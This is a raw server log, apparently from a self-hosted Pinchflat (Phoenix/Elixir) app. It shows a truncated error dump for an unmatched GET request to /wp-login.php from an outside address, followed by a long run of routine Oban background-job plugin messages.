"pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34178}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0", "x-forwarded-for" => "157.230.97.168", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "157.230.97.168" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261625.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip,deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0"}, {"x-forwarded-for", "157.230.97.168"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "157.230.97.168"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GID1pB-hQW8IwpMAJ6BB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34178}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0", "x-forwarded-for" => "157.230.97.168", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "157.230.97.168" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34178}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0", "x-forwarded-for" => "157.230.97.168", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "157.230.97.168" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261625.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip,deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0"}, {"x-forwarded-for", "157.230.97.168"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "157.230.97.168"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-c (truncated) 19:58:59.951 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.353 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:29.953 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:59.955 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.354 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:29.957 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:59.959 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.355 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:29.961 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:59.963 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.356 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:29.965 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:59.968 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.357 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:29.970 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:59.972 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.358 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:29.974 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:59.976 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.359 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:29.978 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:59.980 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.360 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:29.982 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:59.984 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.361 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:29.986 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:59.988 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.362 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:29.990 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:59.992 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.363 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:29.994 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:59.996 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.364 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:29.998 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.000 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.365 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:30.002 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.004 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.366 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:30.006 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.008 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.367 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:30.010 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.012 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.368 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:30.014 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.016 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.369 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:30.018 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.020 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.370 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:30.022 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.024 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.371 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:30.026 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.028 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.372 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:30.030 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.032 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.373 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:30.034 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.036 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.374 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:30.038 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.040 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.375 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:30.042 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.044 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.376 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:30.046 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.048 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.377 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:30.050 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.052 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.378 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:30.054 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.056 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.379 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:30.058 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.060 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.380 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:30.062 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.064 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.381 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:30.066 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.068 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.382 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:30.070 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.072 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.383 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:30.074 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.076 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.384 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:30.078 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.080 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.385 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:30.082 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.084 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.386 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:30.086 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.088 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.387 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:30.090 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.092 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.388 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:30.094 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.096 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.389 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:30.098 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.100 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.390 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:30.102 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.104 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.391 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:30.106 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.108 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.392 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:30.110 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.111 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.393 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:30.114 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.116 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.394 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:30.118 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.120 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.395 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:30.122 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.124 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.396 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:30.126 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.128 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.397 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:30.129 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.132 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.398 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:30.134 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.136 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.399 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:30.138 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.140 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.400 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:30.142 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.144 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.401 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:30.146 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.148 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.402 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:30.150 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.152 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.403 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:30.154 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.156 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.404 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:30.158 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.160 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.405 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:30.162 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.164 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.406 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:30.166 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.168 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.407 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:30.170 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.172 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.408 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:30.174 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.176 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.409 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:30.178 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.180 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.410 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:30.182 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.184 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.411 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:30.186 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.188 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.412 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:30.190 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.192 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.413 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:30.194 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.196 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.414 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:30.198 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.200 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.415 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:30.202 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.204 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.416 [info] 